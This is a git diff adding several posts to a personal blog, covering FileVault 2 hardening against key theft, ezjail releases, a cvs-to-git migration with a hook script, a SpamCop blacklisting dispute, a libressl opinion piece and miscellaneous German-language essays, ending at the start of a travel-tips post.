12Während ich mich wahrlich nicht beschweren möchte, Pakete mit Bier in meinem Postfach vorzufinden – zuletzt hat eine Shirtdruckerei die Lizenz "eingelöst", für [Nickis](http://www.ddrlexikon.de/nicki/) mit dem von mir entworfenen und unter der Beerware veröffentlichten [Logo](http://alternativlos.org/logo.svg) des [Alternativlos-Podcasts](http://alternativlos.org/) bekam ich drei Fässer [Bier](http://www.felix-welt.de/biersee-im-bus/) zugesendet – sollte der eigentliche Zweck nicht aus den Augen verloren werden. Wer meine Software gebrauchen kann, treibt sich wahrscheinlich auch in der [selben Nische](http://bulk.fefe.de/scalable-networking.pdf) herum, wie ich. Sich da auf ein Bier zusammenzusetzen, erfüllt dabei mehrere Zwecke: Ad 1: ich habe den direkten Feedback zu meinen "Kunden". Ad 2: Ich kann einem selbstgesteckten Bildungsauftrag gerecht werden, aus erster Hand von Fehlern und Irrwegen erzählen, die nicht den Weg digitaler Aufzeichnungen finden sollten. Ad 3: Zwei offensichtlich computeraffine werden zu sozialer Interaktion angehalten. Ad 4: Es fließt Bier. In der Lizenz ist nämlich nicht festgehalten, wer das Bier bezahlen soll. Ich möchte mich nun auch nicht von dankbaren Mithackern aushalten lassen. Und so floß dann bisher auch traditionell das Gros des mir eingeschickten oder auf die Bühne transportierten Biers direkt als [Freibier](http://wingolog.org/archives/2011/01/17/free-as-in-beer) zurück in die Community.
13
14In diesem Sinne: Prost.
diff --git a/blog/2012/FileVault_Service-Post.md b/blog/2012/FileVault_Service-Post.md
new file mode 100644
index 0000000..311c2f8
--- /dev/null
+++ b/blog/2012/FileVault_Service-Post.md
@@ -0,0 +1,16 @@
1<!--
2.. date: 2012/04/15 17:44
3.. title: FileVault Service-Post
4-->
5
6Seit Version 10.7 kommt Mac OSX mit der Möglichkeit daher, WDE – also "whole disc encryption" – für seine Systemplatte anzuschalten. Mit ein wenig Gefrickel kann man auch externe Platten verschlüsseln lassen. In diesem Text soll es aber darum gehen, wie man sein mobiles Gerät möglichst flughafenkontrollfest schützen kann. Apple nennt seine WDE "FileVault 2".
7
8In fast allen bekannten WDE-Szenarien hat man ein Paßwort für seine Festplatte, das nicht das selbe ist, wie das Benutzerpaßwort. Letzteres gibt man nämlich gefühlte tausend Mal am Tag mitten im Desktop und eventuell einmal zu leichtfertig und zu oft ein und legt im Speicher seines – oder im schlimmsten Fall eines anderen – Computers diverse Kopien dieses Paßworts an. Das WDE-Paßwort hingegen benutzt man nur in sehr kontrollierten und nicht so leicht durch Software zu emulierenden Umgebungen: direkt beim Booten und nach dem Aufwachen. Die Macher von FileVault 2 unter OSX haben diese Trennung im Standardfall nicht so vorgesehen – das Festplattenpaßwort wird einmal generiert und mit dem (Haupt-)Benutzerpaßwort verschlüsselt. Im Normalfall muß man nur beim Booten dieses Paßwort eingeben und ist danach direkt eingeloggt. Apple hat aber in FileVault 2 eingebaut, bestimmten Benutzern das Entschlüsseln der Platte zu erlauben, anderen nicht. Dies machen wir uns zunutze, indem wir einen extra-Benutzer anlegen, der einzig für WDE zuständig ist und allen anderen Benutzern das Entschlüsseln versagen.
9
10Am Einfachsten ist dies, wenn die WDE noch nicht angeschaltet ist. Man legt sich einen neuen Benutzer "WDE" oder "crypto" an (dieser braucht keine Admin-Rechte), loggt sich unter diesem Benutzerkonto ein und aktiviert in den Systemeinstellungen => "Sicherheit und Privatsphäre" => FileVault die FileVault-Verschlüsselung für die Systemplatte (hier braucht man kurz Benutzername und Paßwort des Admin-Benutzers). Dabei achtet man darauf, daß einzig der WDE-Benutzer in der Zugriffsliste für FileVault aktiv ist. Den Recovery-Key sollte man sich notieren und nicht mit auf Reisen nehmen. Dabei versteht sich von selbst, daß man den Service von Apple nicht wahrnehmen möchte, diesen Key bei ihnen zu verwahren. Man kann sich jetzt auch gleich wieder ausloggen, die Festplatte wird im Hintergrund komplett weiterverschlüsselt. Wenn es nur einen Benutzer gibt, der entschlüsseln darf, wird man beim Booten genauso nach dessen Paßwort gefragt und auch gleich unter diesem Benutzerkonto eingeloggt. (Hinweis für die Paßwortwahl: Hat man eine deutsche Tastaturbelegung, ist diese zumindest unter 10.7 im WDE-Login-Bildschirm noch nicht aktiviert. Zuweilen muß man seine Umlaute erst suchen.) Nun kann man sich gleich wieder ausloggen, um sich danach mit seinem Standardbenutzer anzumelden.
11
12War FileVault 2 bereits aktiviert und dem Standardnutzer das Entschlüsseln erlaubt, kann man diesem auch nachträglich die Rechte zum Entschlüsseln entziehen. Dazu legt man wie oben einen neuen WDE-Benutzer an, gibt diesem im FileVault-Dialog die Entschlüsselungsrechte und verpaßt dem Standardbenutzer ein leeres Passwort. Das geht im Systemeinstellungs-Dialog für Benutzerkonten nicht, dazu muß man das Terminal bemühen. Dem Kommando "passwd" gibt man sein altes Paßwort mit und drückt danach zweimal Return. _(UPDATE: in OSX 10.8 erlaubt passwd nicht mehr, ein leeres Passwort einzustellen. Nun braucht man das Kommando `sudo dscl . -passwd /users/USERNAME ""`.)_ Da nun FileVault für diesen Standardbenutzer kein Paßwort zum Verschlüsseln des Festplattenpaßworts mehr hat, werden ihm die Rechte zum Entschlüsseln der Platte entzogen. Dies kann man im FileVault-Dialog der Systemeinstellungen überprüfen, ein kleines gelbes Dreieck sollte nun warnen, daß nicht alle Benutzer die Platte entschlüsseln dürfen. Wenn man dies überprüft hat, kann man sein altes Standardbenutzer-Paßwort wieder setzen. Dieser Benutzer ist nun ent-FileVault-et, man sollte dies mit eventuellen anderen Benutzerkonten wiederholen.
13
14Dem aufmerksamen Beobachter wird aufgefallen sein, daß nach dem Zu- und wieder Aufklappen keine Eingabe des WDE-Benutzer-paßworts notwendig ist. Dies bedeutet, daß der Festplattenschlüssel noch ungesichert im Speicher liegen muß. Ist der Computer mit Thunderbolt ausgestattet, oder hat einen FireWire-Port in einem ungesicherten Modus (ab 10.6 ist der FireWire-Bus beim Schlafen standardmäßig aus), kann der Schlüssel (beispielsweise bei einer Kontrolle am Flughafen) über den direkt am RAM anliegenden Thunderbold/FW-Bus ausgelesen werden. Somit ist die Verschlüsselung angreifbar. Um dem Computer beizubringen, beim Zuklappen den beim Booten eingegebenen Festplattenschlüssel aus dem Speicher zu löschen, bedarf es nur dieses Kommandos: `sudo pmset -a destroyfvkeyonstandby 1 hibernatemode 25`
15
16Nun dauert das Aufklappen bei meinem MacBook Air statt 5 rund 25 Sekunden. Ich habe aber ein deutlich besseres Gefühl dabei, mein ausgeschaltetes Gerät jemand anderem in die Hand zu geben.
diff --git a/blog/2012/ezjail-3.2.2.rst b/blog/2012/ezjail-3.2.2.rst
new file mode 100644
index 0000000..3bd0e4c
--- /dev/null
+++ b/blog/2012/ezjail-3.2.2.rst
@@ -0,0 +1,5 @@
1.. title: ezjail 3.2.2 is out
2.. date: 2012/09/19 18:00
3.. tags: ezjail
4
5ezjail 3.2.2 is out. This release contains minor fixes in zfs code.
diff --git a/blog/2012/ezjail-3.2.3.rst b/blog/2012/ezjail-3.2.3.rst
new file mode 100644
index 0000000..1b8777b
--- /dev/null
+++ b/blog/2012/ezjail-3.2.3.rst
@@ -0,0 +1,5 @@
1.. title: ezjail 3.2.3 is out
2.. date: 2012/09/23 18:00
3.. tags: ezjail
4
5ezjail 3.2.3 is out. The 3.2.2 introduced an inconvenient bug that prevented ezjail-admin update to find ``/usr/src``.
diff --git a/blog/2013/ezjail-3.3.rst b/blog/2013/ezjail-3.3.rst
new file mode 100644
index 0000000..7044459
--- /dev/null
+++ b/blog/2013/ezjail-3.3.rst
@@ -0,0 +1,5 @@
1.. title: ezjail 3.3 is out
2.. date: 2013/04/20 18:00
3.. tags: ezjail
4
5ezjail 3.3 is out. Besides several bug fixes, it allows to install ezjails in alternative zpool, copes with auto-configure interface syntax for IP addresses better and properly supports the new distribution server layout. Refer to the `Version history <#version-history>`_ for details. On a side note, the project home page was brushed and polished.
diff --git a/blog/2013/ezjail-3.4.rst b/blog/2013/ezjail-3.4.rst
new file mode 100644
index 0000000..4c65cb6
--- /dev/null
+++ b/blog/2013/ezjail-3.4.rst
@@ -0,0 +1,5 @@
1.. title: ezjail 3.4 is out
2.. date: 2013/09/27 18:00
3.. tags: ezjail
4
5Due to changes in how the FreeBSD port system handles the install target, certain ports fail to install with the error "pkg_create: make_dist: tar command failed with code 256" in Jails installed with the current version of ezjail. ezjail from version 3.4 fixes this. Until then you should execute the command ``mkdir -p /var/ports/packages`` as a workaround in all jails you want to install ports in.
diff --git a/blog/2013/repositions.md b/blog/2013/repositions.md
new file mode 100644
index 0000000..9abc992
--- /dev/null
+++ b/blog/2013/repositions.md
@@ -0,0 +1,67 @@
1<!--
2.. date: 2013/11/18 18:50
3.. title: Repositioning
4-->
5
6As a developer nowadays using a source code management system is non-optional. I’ve been a happy user of cvs for quite a while now, as it is complex enough for all my use cases and simple enough to allow fixing things with a text editor without breaking other people’s checkouts. I’ve had little reason to change this, as cvs was available everywhere and with ezjail – one of my more important projects – it was even essential providing means to checkout its latest development state on a vanilla FreeBSD installation, where cvs was the only scm system provided.
7
8However, time moves on. The FreeBSD project chose to remove cvs from base system in its next major release [1][] and OSX Developer Tools ship without cvs from OSX 10.8 onward. So it was time for me to move on, as well. The choice to migrate FreeBSD development to subversion [2][] seemed not such a bad idea back in 2008, but for me svn has always been a world of pain. It adds complexity without providing any benefit and removed the option for simple repository manipulation when things went awry. In 2013 the only sane option – despite a creeping headache considering the license – is git. Its increased complexity pays off by having integrity checks, a well established user base, an almost fanatical devotion to the pope and in the end I can use it as I used cvs.
9
10I set up gitolite [3][] with a UMASK of 0022 [4][] (to save me trouble later with tools like cgit and gitdaemon) and created empty repositories for each project to migrate. After playing around with several tools, I found cvs2git [5][] the best option, allowing me to import the cvs repositories onsite with this tiny script:
11
12 git clone git@example.org:${project}
13 mkdir -p dumps/
14 cvs2git --blobfile=dumps/${project}-git-blob.dat --dumpfile=dumps/${project}-git-dump.dat --username=cvs2git --fallback-encoding=utf8 ${CVSROOT}/${project}
15 # Use a text editor the fix committer’s emails, etc here in the dumps/${project}-git-dump.dat file
16 cd ${project}
17 cat ../dumps/${project}-git-blob.dat ../dumps/${project}-git-dump.dat | git fast-import
18 git checkout master
19 git gc --prune=now
20 git push origin master
21 cd ..
22
23This scripts needs to be run as a user who can read CVSROOT and has commit rights to the gitolite repositories.
24
25Being the polite hacker that I am, I wanted to avoid breaking other people's checkouts with my migration. I also need to provide backward compatibility to users of FreeBSD installations that still come with cvs only. This means that the pserver URIs need to remain intact. However, the tool I hoped would solve this problem – git-cvsserver [6][] – comes with some surprising mapping of cvs modules into git branches. Which basically renders it unusable as a legacy support mechanism. This left me with little choice but keeping the old cvs repositories as write-only copies. I wrote a git commit hook that commits every change [7][] to cvs using a dummy checkout in `/home/cvs/${project}`, after granting the git user commit rights to cvs. This works well, the only drawback is that it makes all commits appear to come from git in the cvs view. But I think this is an acceptable price.
26
27In order to provide an additional update commit hook and not break gitolite’s builtin hook, I needed to add a so-called VREF [8][] to the repo config, which looks like this in my conf/gitolite.conf:
28
29 repo ezjail opentracker minimunin jaildaemon
30 RW+ = id_dsa
31 R = @all
32 - VREF/cvspush = @all
33
34My git repos reside in `/usr/local/git/`, so I put my commit hook script to `/usr/local/git/.gitolite/local/VREF/cvspush` and fixed my `/usr/local/git/.gitolite.rc` to have an entry:
35
36 LOCAL_CODE => "$ENV{HOME}/.gitolite/local",
37
38The hook itself is here (don’t forget to set +x permissions. Also if you checkout your cvs repositories somewhere other than /home/cvs, you need to change this, as well):
39
40 #!/bin/sh
41 #
42
43 # ignore changes not for master branch
44 [ "$1" = "refs/heads/master" ][] || exit 0
45
46 # see if we have a legacy CVS repository to commit to
47 [ -d "/home/cvs/${GL_REPO}/CVS/" ][] || exit 0
48 export GIT_DIR="${GL_REPO_BASE}/${GL_REPO}.git"
49 cd "/home/cvs/${GL_REPO}/" || exit 0
50
51 # get all the commits leading up to that push
52 for commit in `git rev-list "$2".."$3"`; do
53 git cvsexportcommit -k -u -c -v ${commit}
54 done
55
56And finally all my project description pages were updated to reflect the new way to checkout the source code, as was the web interface [9]. All thats left now is to provide read only svn access to the projects, for all FreeBSD users running 10.
57
58[1]: http://lists.freebsd.org/pipermail/freebsd-arch/2012-September/012975.html
59[2]: https://wiki.freebsd.org/CvsIsDeprecated
60[3]: http://gitolite.com/gitolite/qi.html
61[4]: https://wiki.archlinux.org/index.php/Cgit#Gitolite
62[5]: http://cvs2svn.tigris.org/cvs2git.html
63[6]: https://www.kernel.org/pub/software/scm/git/docs/git-cvsserver.html
64[7]: https://www.kernel.org/pub/software/scm/git/docs/git-cvsexportcommit.html
65[8]: http://gitolite.com/gitolite/gitolite.html#vref-vref
66[9]: https://erdgeist.org/gitweb
67
diff --git a/blog/2014/Self-righteous_spam_police.md b/blog/2014/Self-righteous_spam_police.md
new file mode 100644
index 0000000..6efb17b
--- /dev/null
+++ b/blog/2014/Self-righteous_spam_police.md
@@ -0,0 +1,61 @@
1<!--
2.. date: 2014/01/22 10:04
3.. title: Self-righteous spam police
4-->
5
6For over 15 years I’ve been – together with friends – running elektropost.org, a community mail server that provides free email accounts and mailing lists for friends, family, several NGOs and small companies – so they don’t have to turn to google mail or worse. We pride ourself in being good netizens, providing spam filtering, discarding our double bounces and so on.
7
8Imagine our surprise when we suddenly were served bounces like
9
10> Remote host said: 554 5.7.1 Service unavailable; Client host [217.115.13.199] blocked using bl.spamcop.net;
11> Blocked - see http://www.spamcop.net/bl.shtml?217.115.13.199
12
13basically denouncing us as spammers. When investigating the issue, we were informed that
14
15> Causes of listing:
16> System has sent mail to SpamCop spam traps in the past week (spam traps are secret, no reports or evidence
17> are provided by SpamCop).
18
19our system has sent an email to a secret mail address guaranteed to only receive spam emails. Any protest is futile, the website <http://www.spamcop.net/w3m?action=blcheck&ip=217.115.13.199> told us,
20
21> Dispute Listing:
22> If you are the administrator of this system and you are sure this listing is erroneous, you may request that we
23> review the listing. Because everyone wants to dispute their listing, regardless of merit, we reserve the right
24> to ignore meritless disputes.
25
26basically saying: All the bad guys say that they are not the bad guys, so … sure, go on, drop us an note, whining about how bad the world is and we ignore it. Because you are a spammer. And we know because we said so.
27
28At this point I would have just ignored them, after all the internet told me that they even put gmail on their RBL. But it turned out that several larger sites actually use the lists provided by spamcop and the amount of bounces started to hurt our community mail server.
29
30I dug a little deeper and found that the spamcop project actually makes money selling it’s block list to other mailers in need of immediate updateso for US$ 1000: <http://www.spamcop.net/fom-serve/cache/340.html> and, worse they even sell email accounts for US$30 per year <http://www.spamcop.net/ces/pricing.shtml> which clearly indicates a conflict of interests. “Unfortunate mis-listing” of other free mail servers now appears as defamation of potential competition. So they better have their facts straight! But – have they? How to find that out, if they never want to present their proof of me being a spammer?
31
32After failing to provide my email address as abuse-contact for our mail server at abuse.net – due to our mail server being on the black list (oh, the irony), I focussed on writing the most brown-nosing post on their feedback system. I explained, that we kept our system tidy for over a decade and would appreciate some assistance in resolving their claim. After a while I received an email, again explaining, that
33
34> This IP is listed because it is sending spam to our traps. Traps are addresses on our systems that have never
35> existed and could never subscribe to be on any mailing list. Any mail to them is spam. We will not provide any
36> information that identifies our traps or their locations.
37
38but also providing a sample of the spam they received. And indeed
39
40```text
41 Received: from elektropost.org ([217.115.13.199]) helo=elektropost.org
42 by <removed>; Tue, 21 Jan 2014 17:xx:xx -0800
43 Date: Wed, 22 Jan 2014 08:xx:xx +0700
44 Message-ID: <2172___________________3767@gasz.nl>
45 From: Online Casino <hqbwrgayueue@gasz.nl>
46 To: <x>
47 Subject: Ihr Ziel: Profit
48```
49
50this very much looks like spam, originating from our mail server. I also found some traces of that email in my rather sparse mail server logs and was flabbergasted for a moment, how this could have been relayed through the server without anyone authenticating. Fortunately I found a corresponding incoming spam mail to one of our users accounts, I found a mail forward set for this user to the address that obviously now serves as one of spamcops spam traps and from then on it all became clear. That user has set up a dedicated vacation account and forwarded all emails from that account to a satellite mail provider. The user also wrote several blog posts, pointing potential co-travelers to this address. The provider shut down the account a while ago and now decided that since nearly every email to this account looks spam-ish, it would make a perfect spam trap.
51
52Now, even our overeager friends at spamcop have noticed that re-using a once legitimate address is a stupid idea, from <http://www.spamcop.net/fom-serve/cache/402.html>:
53
54> Traps must consist of email addresses which have never been used for legitimate email. They should not
55> be "recycled" user accounts.
56
57However, they never seem to verify, if their contributors actually follow those guidelines. In our case, a simple google search would have warned them.
58
59I just wrapped up all this in an email to the hard-working “deputies” they employ over there at spamcop HQ and hope for a quick de-listing, and maybe – just maybe – for an apology.
60
61In the end all left to conclude is: Do no put the burden of fighting spam on others. My users actually experienced bounced emails, I experienced two days of debugging and fixing other peoples amateurish setup, our project’s reputation was damaged. Spamcop, your secret spam traps are a stupid idea and they hurt the community, in our case possibly driving users away from a privacy-aware project to other freemailer providers that are large enough to have resources to deal with problems like you.
diff --git a/blog/2014/Using_libressl.md b/blog/2014/Using_libressl.md
new file mode 100644
index 0000000..d0bb138
--- /dev/null
+++ b/blog/2014/Using_libressl.md
@@ -0,0 +1,30 @@
1<!--
2.. date: 2014/05/19 04:20
3.. title: Using libressl
4-->
5
6I’ve been committing some code to the ressl project. I’ve found it worth to spend some time on that project that aims to make securing your communication more secure. But still people have some misconceptions about whether they can trust the new library and should make their code depend on libressl.
7
8I have prepared a simple FAQ for them:
9
10* Q: Should I base new code on the libressl API?
11* A: No.
12
13The reason is as simple as it gets. libressl was designed as a drop-in-replacement for openssl to protect the only asset openssl still has: an API that (even though it’s broken as hell) still is used widely. While they’re doing this, they try to do everything right that can be done right in a 201*-ish project.
14
15Thing is, openssl is not actually there to provide you with secure software, but to implement the “nobody ever has been fired for using openssl”-aspect of your average “crypto”-library. It’s – well it’s there and it has some FIPS certification. But let’s face it: the code is terrible, the “maintainers” haven’t done any maintenance besides reselling their FIPS-asset, the API is terrible, the cipher-defaults are terrible, the interfaces into certificate checking are next to unusable, the core functionally works hard to cloak their badness from any modern bug detection heuristics, covering most of their bugs, and openssl’s maintainers ignore bug reports, because fixing them would break their certification, hurting their business of selling FIPS-consultancy.
16
17Now, the OpenBSD guys were facing a tough challenge: write just another SSL library with a sane API that no one is going to use, or clean up the library that is de-facto standard and hard to rip out of each and every tool that tries to connect to the interwebs securely.
18
19Most users of the openssl library come there, because they stumbled across transport security as an afterthought. Maybe because it’s been another tick on their compliance chart, or because they’ve seen the passwords flowing through their wireshark window – throw some crypto on it, they thought. What they need to realize is, that they actually need three separate libraries in the first place – which openssl conveniently layer-violates into one (and even adds dangerous cruft like kerberos):
20
21a secure and sanely configured certificate exchange-, parser- and checker- library,
22a library of sane (and BY DEFAULT SECURE) crypto primitives that can apply ciphers on a data stream,
23a set of standard conforming heuristics that will (re-)negotiate cipher suites based on 1) and the availability of ciphers from 2)
24openssl fails in every single aspect of this. 99,999 percent of users nowadays do use openssl to secure their socket-based communication on servers or clients talking with each other via TCP. The whole BIO abstraction provided by openssl is wasted on them. The stack-like approach to look at “chains” of certificates falls short on modern setups with several expired and unexpired certs of the same CA in a single key store. You still can – as a MITM – trick most openssl setups into using null ciphers or weak algorithms. Checking CRLs still is a black art done right by no one. openssl still implements each and every memory allocation level bug ever displayed on “software security 101” in your favorite university.
25
26Now I will – judging by the current progress – give ressl a year until they matured enough to acknowledge them having picked all low hanging fruit. Then OpenBSD can proudly (and rightfully) announce that software linked agains libressl on their (and other) platforms is much more secure than before. And after looking into the source code I also understand that fixing it while also inventing a saner API exceeds the OpenBSD team’s capacities. So I urge you to consider what exactly you need secured and what tools provide you exactly what.
27
28If you’re up to implementing secure communication between your app and your server or between your appliances, first check if you really need all the TLS features – like the whole set of X.509 features that openssl gives you (and if so, check back which license of [the available TLS implementations](http://en.wikipedia.org/wiki/Comparison_of_TLS_implementations) could possible also suite your needs) – or if you can just go with a public domain library like [NaCl](http://en.wikipedia.org/wiki/NaCl_(software)) and put a little thought into what cryptographic primitives it gives you and where you need it.
29
30Until then rest assured that securing your application is not just a case of linking in another unreviewed lib.
diff --git a/blog/2015/Little-big-data.rst b/blog/2015/Little-big-data.rst
new file mode 100644
index 0000000..6532b34
--- /dev/null
+++ b/blog/2015/Little-big-data.rst
@@ -0,0 +1,10 @@
1.. date: 2015/06/03 15:15
2.. title: Little big data
3
4Ein Geheimdienst im 21. Jahrhundert, der was auf sich hält, muss Big Data machen: Möglichst alles über alle Bürger sammeln, horten, sortieren, filtern, rastern und ja niemandem was von den Ergebnissen mitteilen. Da hab ich mir gedacht: Das kann ich auch! Daher mache ich für meinen eigenen Kurznachrichtendienst eben in Little Big Data.
5
6Praktischerweise stellt die Deutsche Telekom im Halbjahrestakt eine digitale Offlinedatenbank bereit, die schonmal Adressen, Telefonnummern und Geokoordinaten der meisten Einwohner enthält - und das seit 1992. Einzige Nachlässigkeit: Die Informationen sind in binärer Form auf den Datenträgern abgelegt und die Gewissenhaftigkeit der Informanten im Post- und Telekomdienst lässt ausweislich offensichtlicher Fehler in den Datensätzen zu wünschen übrig.
7
8Von meiner Sammelleidenschaft habe ich ja bereits `ausgiebig berichtet </posts/2008/datenmessie.html>`_. Vor sieben Jahren war ich der festen Meinung, ich hätte alle Telefonbuch-CDs zusammen und mein Code würde alle verfügbaren Daten aus den Binärwust der Datenspender extrahieren. Doch plötzliche Funde von verschollen geglaubten Ausgaben mit noch `exotischeren Formaten <https://erdgeist.org/gitweb/Telefonbuch/>`_ und die bei näherem Nachschauen auftretenden syntaktischen und semantischen Probleme in den Daten haben einen zweiten Anlauf der Pflege nötig gemacht.
9
10Begleitet mich nun am Dienstag, dem 9. Juni 2015 ab achte im Chaos Computer Club Berlin beim `Datengarten 53 <https://berlin.ccc.de/wiki/Datengarten/53>`_ in einem besinnlichen Diaabend bei Geschichten einer abenteuerlichen Jagd nach den Datensätzen, von nervenaufreibendem Starren auf Binärmuster, um den Geheimnissen der Encraption auf den Grund zu gehen und dem überwältigenden Gefühl, mal an Datenmengen zu schnuppern, die noch vor ein paar Jahren problemlos als “Big Data” durchgegangen wären.
diff --git a/blog/2015/Steueranachronismus.rst b/blog/2015/Steueranachronismus.rst
new file mode 100644
index 0000000..0c56b9a
--- /dev/null
+++ b/blog/2015/Steueranachronismus.rst
@@ -0,0 +1,22 @@
1.. date: 2015/04/13 18:26:56
2.. title: Steueranachronismus
3
4Nachdem mir neulich schon das wundersame Relikt des `Kirchgelds <https://de.wikipedia.org/wiki/Kirchgeld>`_ über den Wahrnehmungshorizont purzelte, mit dem sich die traurigen Reste des sich dem Laizismus wiedersetzenden Staatskirchentums ihre Pfründe auch von all denen zusammenschmarotzen, die auch nur das Leben mit einem Partner teilen, der `seinen Kirchenaustritt nicht mehr belegen kann <http://www.berliner-zeitung.de/archiv/tausende-koennen-ihren-kirchenaustritt-nicht-mehr-beweisen-und-sollen-steuern-zahlen-katholisch-wider-willen,10810590,10354828.html>`_ oder als EU-Bürger in Deutschland in `bürokratische Hamsterräder verwickelt wird <http://hpd.de/artikel/11243>`_. Nach der Wende wurde arbeitslos gemeldeten Freunden gar die Kirchensteuer standardmäßig einbehalten mit dem Verweis darauf, dass eine präzise Nachforschung im Einzelfall zu hohen Aufwand bedeuten würde.
5
6Heute nun weist mich die Sparkasse in einem Kundenschreiben auf Folgendes hin ::
7
8 Diese Information ist für Sie nur dann von Bedeutung, wenn sie einer
9 Religionsgemeinschaft angehören, für die Kirchensteuer abgezogen wird.
10 Sofern dies der Fall ist, führen wir für Kirchenmitglieder ab 2015 die
11 Kirchensteuer auf Kapitalertragsteuer automatisch an das Finanzamt ab,
12 sofern die Kapitalerträge oberhalb eines uns erteilten Freistellungsauf-
13 trages liegen, spätestens also oberhalb des gesetzlichen Sparerpauschbe-
14 trages (Ledige: 801 EUR, Zusammenveranlagte: 1602 EUR). Zur Vereinfachung
15 fragen wir Ihre Religionszugehörigkeit jährlich beim Bundeszentralamt für
16 Steuern (BZSt) ab.
17
18 Möchten Sie nicht, dass das BZSt uns Ihre Religionszugehörigkeit ver-
19 schlüsselt übermittelt, können Sie der Datenweitergabe bis zum 30.06. eines
20 Jahres widersprechen (www.formulare-bfinv.de,"Kirchensteuer").
21
22Kann sich diese Sekte nicht einfach mal aus dem Leben Unbescholtener raushalten, solange diese sich nicht explizit bei denen melden? Ich zumindest will mit denen nichts zu tun haben und finde, in ihrer Geschichte haben sie genug Unheil angerichtet und könnten sich gefälligst in ihrer selbstpropagierten Demut üben. Danke.
diff --git a/blog/2015/ergebnisse-massgeschneidert.rst b/blog/2015/ergebnisse-massgeschneidert.rst
new file mode 100644
index 0000000..0f0d0be
--- /dev/null
+++ b/blog/2015/ergebnisse-massgeschneidert.rst
@@ -0,0 +1,22 @@
1.. date: 2015/06/14 10:58
2.. title: Ergebnisse für Sie maßgeschneidert
3
4Im Rahmen des Symposiums `"Nähe auf Distanz" <http://www.fbkultur.uni-hamburg.de/ks/ueber-das-institut/aktuelles-hauptorder/politische-bilder.html>`_ des Fachbereichs Kultur an der Uni Hamburg werde ich am 14. Juni zur Wirkmacht politischer Bilder im Internet einen Vortrag mit dem Titel "Ergebnisse für Sie maßgeschneidert" halten. Abstract und Konklusio gibt es hier.
5
6Abstract
7========
8
9Die schiere Masse von Informationen, die inzwischen an allen Enden der Welt verteilt ist und für uns mit einem Klick auffindbar wäre, ist lediglich von unserem kulturellen Verständnisvermögen begrenzt. Um uns nur “relevante” Ergebnisse auf der Suche nach Nachrichten, Bildern, Videos und Webseiten auf den Rechner zu holen, benutzen wir vertraute Portale und Suchindexe, die ein Modell von genau unserem kulturellen Wohlfühlhorizont haben und deren Serviervorschläge unseren major consensus narrative nicht verletzen. Diese Filterdienste unterliegen jedoch eigenen marktwirtschaftlichen, politischen und juristischen Sachzwängen, die nicht immer im Sinne des Informationssuchenden sind.
10
11Für einen Zugang zu unvertrauten kulturellen Textquellen und zum Einordnen der Informationen benötigen wir einen kontextgebenden Vermittler – allein schon bei der Übersetzung. Klassisch übernahmen Korrespondenten institutionalisierter Nachrichtenformate diese Aufgabe und traten dabei auch mitsamt ihrer Reputation in den Vordergrund.
12
13Seit der ubiquitären weltweiten Durchdringung mit erschwinglichen Kameras ist das Bild als authentisches Medium ins Zentrum der Wahrnehmung anderer Regionen getreten. Längst haben sich Gruppen wie Anonymous und ISIS durch die gegenseitige Allverfügbarkeit von Informationen über unsere Bildersprache, Hollywoodfilmen und Nachrichtennetzwerken an unsere Medienkonsumgewohnheiten angepasst. Sie kennen und bedienen die narrativen Rituale, mit denen wir zu erreichen sind und benutzen das Modell, ihre Botschaften zu vermitteln. Die technischen Mittel stehen selbst Laien zur Verfügung.
14
15Das Korrektiv dieses Vermittlers – dessen Auswahl zuletzt ohnehin schon aus Bildungs-, Kaufkraft- und Technologieaffinitätsgründen nicht unbefangen geschah – tritt durch den Schritt hinter die Kamera zurück und wird durch die Neutralität suggerierende Kraft des Bilds zum potentiellen Manipulator. Doch selbst ohne bewusste Beeinflussung des Bildinhalts durch den Mittler repräsentiert in Zeiten automatischer Bildoptimierung, -selektion und -rekomposition keine digitale Fotografie mehr die Realität. Bilder erreichen uns direkter und erlauben, uns emotional zu vereinnahmen und deren Konsum wiederum beeinflusst unsere Wahrnehmung von der Welt und im Zirkelschluss das Modell, das unsere selbstgewählten Filter von uns haben.
16
17Konklusio
18=========
19
20Die Transparenz erzeugende Kraft des Internets hat eine Krise der Institutionen verursacht, die auch die tradierten Rituale der Nachrichtenvermittlung erfasst hat. Doch ohne ein Reputationssystem bleibt die Kontextualisierung, Übersetzung und Plausibilitätsprüfung von Datenfetzen an jedem Einzelnen hängen.
21
22Bilder im Internet suggerieren dabei momentan noch notorisch Neutralität und Authentizität, treffen direkt emotionale Nerven und machen uns anfällig, auf Manipulationen hereinzufallen. Meine Hoffnung ist, dass sich nach einem Sortierungsprozess neue Arten von Reputationsdelegation herauskristallisieren.
diff --git a/blog/2015/hello-world.rst b/blog/2015/hello-world.rst
new file mode 100644
index 0000000..c533451
--- /dev/null
+++ b/blog/2015/hello-world.rst
@@ -0,0 +1,15 @@
1.. date: 2015/03/05 19:20
2.. title: Hello world
3
4Colorizing countries I have visited and can remember :)
5
6This is just to demonstrate my new static blog and web engine nikola
7
8.. chart:: Worldmap
9 :stroke: False
10 :style: RotateStyle('#de3804', step=12, background='#fff', plot_background='#fff', foreground='#eee' )
11 :js: ''
12
13 'Trip', ['nz', 'au', 'ar', 'cz', 'th', 'cu', 'rw', 'ch', 'pl', 'ma', 'se', 'fi', 'is', 'ee', 'nl', 'it' ]
14 'Transit', [ 'cn', 'ru', 'nc', 'br', 'si' ]
15 'Urlaub', ['pt', 'pe', 'bo', 'us', 'ca', 'at', 'dk', 'om', 'eg', 'tu', 'gr', 'tr', 'jp', 'gb', 'fr', 'tn', 'hr', 'lt', 'lv', 'be', 'li' ]
diff --git a/blog/2015/travel-tips.rst b/blog/2015/travel-tips.rst
new file mode 100644
index 0000000..48bd5b8
--- /dev/null
+++ b/blog/2015/travel-tips.rst
@@ -0,0 +1,64 @@
1.. title: Weltreisetips
2.. date: 2015/05/15 00:20
3
4Neulich wurde ich von Freunden gefragt, ob ich ihnen ein paar Reisetips für eine Rucksack-Tour um die Welt geben kann. Eventuell findet ihn ja noch irgendjemand nützlich, wenn er seine Reisepläne auf Plausibilität checken möchte.
5
6Kohle
7=====
8
